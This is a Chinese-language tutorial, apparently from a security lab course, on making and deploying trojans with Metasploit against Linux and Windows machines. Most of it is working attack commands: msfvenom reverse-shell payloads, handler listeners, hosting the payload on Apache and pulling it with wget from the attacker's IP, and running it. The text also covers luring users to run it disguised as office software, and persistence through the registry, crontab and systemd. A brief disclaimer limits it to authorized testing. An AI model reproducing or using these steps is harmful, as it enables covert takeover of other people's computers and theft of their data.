⚠️ 本文仅用于授权学习与安全测试,严禁对未授权服务器进行攻击操作,遵守网络安全法律法规。
一、木马核心概念
- 定义:伪装成合法软件、隐蔽运行在目标设备中,用于长期控制或窃取数据的恶意程序。
- 关键区别:与向日葵等远程工具相比,具备“伪装性”和“隐蔽性”,用户不知情。
- 危害:设备成为“肉鸡”(被黑客通过木马等恶意程序秘密控制的设备),攻击者可随时执行命令。
二、Linux:木马攻击
(一) 制作木马(MSF 工具):
Kali 自带 MSF 框架,生成命令:msfvenom -p linux/x64/shell/reverse_tcp LHOST=攻击机ip(Kali) LPORT=9999 -f elf -o hello.elf。
(二) 启动控制程序
msfconsole # 打开MSF控制台
use exploit/multi/handler # 加载监听模块
set payload linux/x64/shell/reverse_tcp # 匹配木马的payload
set lhost 攻击机ip(Kali) # 监听本机IP
set lport 9999 # 监听本机9999端口
run # 启动监听,等待靶机连接
(三) 植入与启动木马
-
Kali 开启 Apache 服务供Ubuntu下载:
a. 把木马放到Apache根目录
mv hello.elf /var/www/htmlb. 启动Apache服务
service apache2 start -
利用SSH控制Ubuntu 下载木马:
wget http://攻击者ip(Kali)/hello.elf -O hello.elf。 -
解决权限问题:
chmod +x hello.elf(添加执行权限)。 -
启动木马:
./hello.elf。 成功标志:Kali 的 MSF 控制台会弹出 Ubuntu 的 shell,此时就能远程控制靶机 -
核心需求:实现木马“自动复活”,避免意外退出/服务器重启后失去控制。
三、Windows:木马攻击
(一) 制作木马病毒(Kali + Metasploit)
(1) 生成 Windows 木马程序
msfconsole # 启动 Metasploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.129(攻击机的IP) LPORT=9999(端口、随便、不能是常用端口) -f exe(Windows的可执行程序、依据木马投放系统而定) > shell.exe
-p:指定 payload(攻击载荷)LHOST:攻击机 IP(Kali 本机 IP)LPORT:攻击机监听端口(自定义,如 9999)-f exe:生成 EXE 格式文件> shell.exe:将木马保存为 shell.exe
木马在攻击者电脑上
(2) 搭建文件服务器(供目标机下载木马)
sudo su
mv shell.exe /var/www/html # 将木马复制到 Apache 网站根目录
service apache2 start # 启动 Apache 服务
- 验证:浏览器访问 http://192.168.157.129/shell.exe ,若能下载则说明服务器搭建成功(攻击机的IP地址)
(3) 攻击机开启监听(等待目标机连接)
msfconsole # 若已启动可跳过
use exploit/multi/handler # 加载监听模块
set payload windows/meterpreter/reverse_tcp # 与木马 payload 一致
set lhost 0.0.0.0 # 监听所有网卡
set lport 9999 # 与木马 LPORT 一致
run # 启动监听
木马只是下载了,还没有运行。
双击文件运行
拿到会话。
(二) 木马植入与控制
(1) 植入方式
- 社会工程学:通过邮件附件、聊天工具发送木马下载链接(
http://攻击机IP/shell.exe) - 内网渗透:利用已控制的设备,将木马复制到目标机共享文件夹
- 漏洞利用:通过前文提到的 MS17-010 等漏洞,将木马上传到目标机。
(2) 启动木马
- 目标机用户双击下载的
shell.exe(需诱导用户执行,如伪装为"办公软件安装包")。
(3) 控制目标机
- 当目标机执行木马后,攻击机Metasploit 会显示
Meterpreter session 1 opened,表示连接成功。 - 可执行
ps(查看进程)、screenshot(截屏)、shell(获取 CMD)等 Meterpreter 操作。
四、木马攻击:Windows vs Linux(Ubuntu)
(一) 核心结论
原理完全一样,只有系统细节不一样。
都是:反向木马 → 监听 → 运行 → 拿 Shell → 持久化
(二) 详细对比表
| 项目 | Windows 木马 | Linux(Ubuntu) 木马 |
|---|---|---|
| 远程控制方式 | RDP(3389) | SSH(22) |
| 木马后缀 | .exe | .elf |
| 生成工具 | msfvenom | msfvenom |
| Payload | windows/x64/shell/reverse_tcp | linux/x64/shell/reverse_tcp |
| 监听模块 | exploit/multi/handler | 一样 |
| 如何运行 | 双击 exe | chmod +x 再 ./运行 |
| 控制内容 | Windows 命令 | Linux 命令 |
| 持久化(自启) | 注册表、计划任务 | crontab、systemd 服务 |
| 传播方式 | 钓鱼、捆绑软件、漏洞 | 漏洞、SSH 弱口令、上传 |
(三) 生成木马命令
1. Windows
msfvenom -p windows/x64/shell/reverse_tcp LHOST=攻击机IP LPORT=9999 -f exe -o shell.exe
2. Linux
msfvenom -p linux/x64/shell/reverse_tcp LHOST=攻击机IP LPORT=9999 -f elf -o hello.elf
(四) 监听命令
use exploit/multi/handler
set payload 对应系统payload
set lhost 攻击机IP
set lport 9999
run
(五) 攻击流程
- 攻击机生成木马
- 攻击机开启监听
- 把木马传到靶机
- 靶机运行木马
- 攻击机拿到 Shell
- 做持久化(自动复活)
(六) 总结
- Win 远程 RDP:3389,Linux 远程 SSH:22
- 木马原理一样,后缀不同
- Windows:exe,Linux:elf